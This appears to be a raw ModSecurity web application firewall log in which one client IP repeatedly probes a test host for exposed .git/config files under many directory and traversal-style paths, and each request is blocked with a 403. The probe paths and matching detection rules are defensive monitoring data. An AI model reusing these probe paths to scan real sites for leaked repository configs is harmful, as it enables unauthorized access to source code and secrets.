[Fri Nov 29 00:13:41.647511 2024] [:error] [pid 3628411] [client 179.43.189.138:57094] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/content../.git/config&quot;] [unique_id &quot;Z0j5Ja4feGBFRzE8C9IKjAAAAAI&quot;]
[Fri Nov 29 00:13:41.648473 2024] [:error] [pid 3628412] [client 179.43.189.138:57090] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/css../.git/config&quot;] [unique_id &quot;Z0j5JZ8TNJfFMxXmIuV3sQAAAAM&quot;]
[Fri Nov 29 00:13:41.648715 2024] [:error] [pid 3628412] [client 179.43.189.138:57090] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/css../.git/config&quot;] [unique_id &quot;Z0j5JZ8TNJfFMxXmIuV3sQAAAAM&quot;]
[Fri Nov 29 00:13:41.723686 2024] [:error] [pid 3628413] [client 179.43.189.138:57102] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /vendor/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.git/config&quot;] [unique_id &quot;Z0j5JXuSClf5hqK7deURkgAAAAQ&quot;]
[Fri Nov 29 00:13:41.724252 2024] [:error] [pid 3628413] [client 179.43.189.138:57102] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.git/config&quot;] [unique_id &quot;Z0j5JXuSClf5hqK7deURkgAAAAQ&quot;]
[Fri Nov 29 00:13:41.724701 2024] [:error] [pid 3628413] [client 179.43.189.138:57102] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.git/config&quot;] [unique_id &quot;Z0j5JXuSClf5hqK7deURkgAAAAQ&quot;]
[Fri Nov 29 00:13:41.765740 2024] [:error] [pid 3628423] [client 179.43.189.138:57114] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js../.git/config&quot;] [unique_id &quot;Z0j5JQ52qNCqUQPzbEI1jAAAAAU&quot;]
[Fri Nov 29 00:13:41.766038 2024] [:error] [pid 3628423] [client 179.43.189.138:57114] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js../.git/config&quot;] [unique_id &quot;Z0j5JQ52qNCqUQPzbEI1jAAAAAU&quot;]
[Fri Nov 29 00:13:41.766271 2024] [:error] [pid 3628423] [client 179.43.189.138:57114] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js../.git/config&quot;] [unique_id &quot;Z0j5JQ52qNCqUQPzbEI1jAAAAAU&quot;]
[Fri Nov 29 00:13:41.767862 2024] [:error] [pid 3628621] [client 179.43.189.138:57126] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static../.git/config&quot;] [unique_id &quot;Z0j5JVLI-XWAVIgZzuog7QAAAAY&quot;]
[Fri Nov 29 00:13:41.768216 2024] [:error] [pid 3628621] [client 179.43.189.138:57126] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static../.git/config&quot;] [unique_id &quot;Z0j5JVLI-XWAVIgZzuog7QAAAAY&quot;]
[Fri Nov 29 00:13:41.768481 2024] [:error] [pid 3628621] [client 179.43.189.138:57126] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/static../.git/config&quot;] [unique_id &quot;Z0j5JVLI-XWAVIgZzuog7QAAAAY&quot;]
[Fri Nov 29 00:13:41.779035 2024] [:error] [pid 3628409] [client 179.43.189.138:57142] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/img../.git/config&quot;] [unique_id &quot;Z0j5JXo9X3eV6ODW5yDbigAAAAA&quot;]
[Fri Nov 29 00:13:41.779450 2024] [:error] [pid 3628409] [client 179.43.189.138:57142] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/img../.git/config&quot;] [unique_id &quot;Z0j5JXo9X3eV6ODW5yDbigAAAAA&quot;]
[Fri Nov 29 00:13:41.779712 2024] [:error] [pid 3628409] [client 179.43.189.138:57142] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/img../.git/config&quot;] [unique_id &quot;Z0j5JXo9X3eV6ODW5yDbigAAAAA&quot;]
[Fri Nov 29 00:13:41.779717 2024] [:error] [pid 3628410] [client 179.43.189.138:57128] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /scripts/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/.git/config&quot;] [unique_id &quot;Z0j5JXm8KQSPFke33BTPzwAAAAE&quot;]
[Fri Nov 29 00:13:41.780096 2024] [:error] [pid 3628410] [client 179.43.189.138:57128] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/.git/config&quot;] [unique_id &quot;Z0j5JXm8KQSPFke33BTPzwAAAAE&quot;]
[Fri Nov 29 00:13:41.780379 2024] [:error] [pid 3628410] [client 179.43.189.138:57128] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/.git/config&quot;] [unique_id &quot;Z0j5JXm8KQSPFke33BTPzwAAAAE&quot;]
[Fri Nov 29 00:13:41.809352 2024] [:error] [pid 3628411] [client 179.43.189.138:57150] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /admin/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;Z0j5Ja4feGBFRzE8C9IKjQAAAAI&quot;]
[Fri Nov 29 00:13:41.809864 2024] [:error] [pid 3628411] [client 179.43.189.138:57150] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;Z0j5Ja4feGBFRzE8C9IKjQAAAAI&quot;]
[Fri Nov 29 00:13:41.810323 2024] [:error] [pid 3628411] [client 179.43.189.138:57150] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;Z0j5Ja4feGBFRzE8C9IKjQAAAAI&quot;]
[Fri Nov 29 00:13:41.851564 2024] [:error] [pid 3628413] [client 179.43.189.138:57162] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /config/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;Z0j5JXuSClf5hqK7deURkwAAAAQ&quot;]
[Fri Nov 29 00:13:41.851805 2024] [:error] [pid 3628412] [client 179.43.189.138:57172] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /backend/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.git/config&quot;] [unique_id &quot;Z0j5JZ8TNJfFMxXmIuV3sgAAAAM&quot;]
[Fri Nov 29 00:13:41.851826 2024] [:error] [pid 3628413] [client 179.43.189.138:57162] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;Z0j5JXuSClf5hqK7deURkwAAAAQ&quot;]
[Fri Nov 29 00:13:41.852025 2024] [:error] [pid 3628413] [client 179.43.189.138:57162] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.git/config&quot;] [unique_id &quot;Z0j5JXuSClf5hqK7deURkwAAAAQ&quot;]
[Fri Nov 29 00:13:41.852175 2024] [:error] [pid 3628412] [client 179.43.189.138:57172] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.git/config&quot;] [unique_id &quot;Z0j5JZ8TNJfFMxXmIuV3sgAAAAM&quot;]
[Fri Nov 29 00:13:41.852412 2024] [:error] [pid 3628412] [client 179.43.189.138:57172] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.git/config&quot;] [unique_id &quot;Z0j5JZ8TNJfFMxXmIuV3sgAAAAM&quot;]
[Fri Nov 29 00:13:41.861783 2024] [:error] [pid 3628423] [client 179.43.189.138:57176] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /panel/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/panel/.git/config&quot;] [unique_id &quot;Z0j5JQ52qNCqUQPzbEI1jQAAAAU&quot;]
[Fri Nov 29 00:13:41.862075 2024] [:error] [pid 3628423] [client 179.43.189.138:57176] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/panel/.git/config&quot;] [unique_id &quot;Z0j5JQ52qNCqUQPzbEI1jQAAAAU&quot;]
[Fri Nov 29 00:13:41.862349 2024] [:error] [pid 3628423] [client 179.43.189.138:57176] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/panel/.git/config&quot;] [unique_id &quot;Z0j5JQ52qNCqUQPzbEI1jQAAAAU&quot;]
[Fri Nov 29 00:13:41.862729 2024] [:error] [pid 3628621] [client 179.43.189.138:57178] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /themes/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.git/config&quot;] [unique_id &quot;Z0j5JVLI-XWAVIgZzuog7gAAAAY&quot;]
[Fri Nov 29 00:13:41.863197 2024] [:error] [pid 3628621] [client 179.43.189.138:57178] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.git/config&quot;] [unique_id &quot;Z0j5JVLI-XWAVIgZzuog7gAAAAY&quot;]
[Fri Nov 29 00:13:41.863432 2024] [:error] [pid 3628621] [client 179.43.189.138:57178] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.git/config&quot;] [unique_id &quot;Z0j5JVLI-XWAVIgZzuog7gAAAAY&quot;]
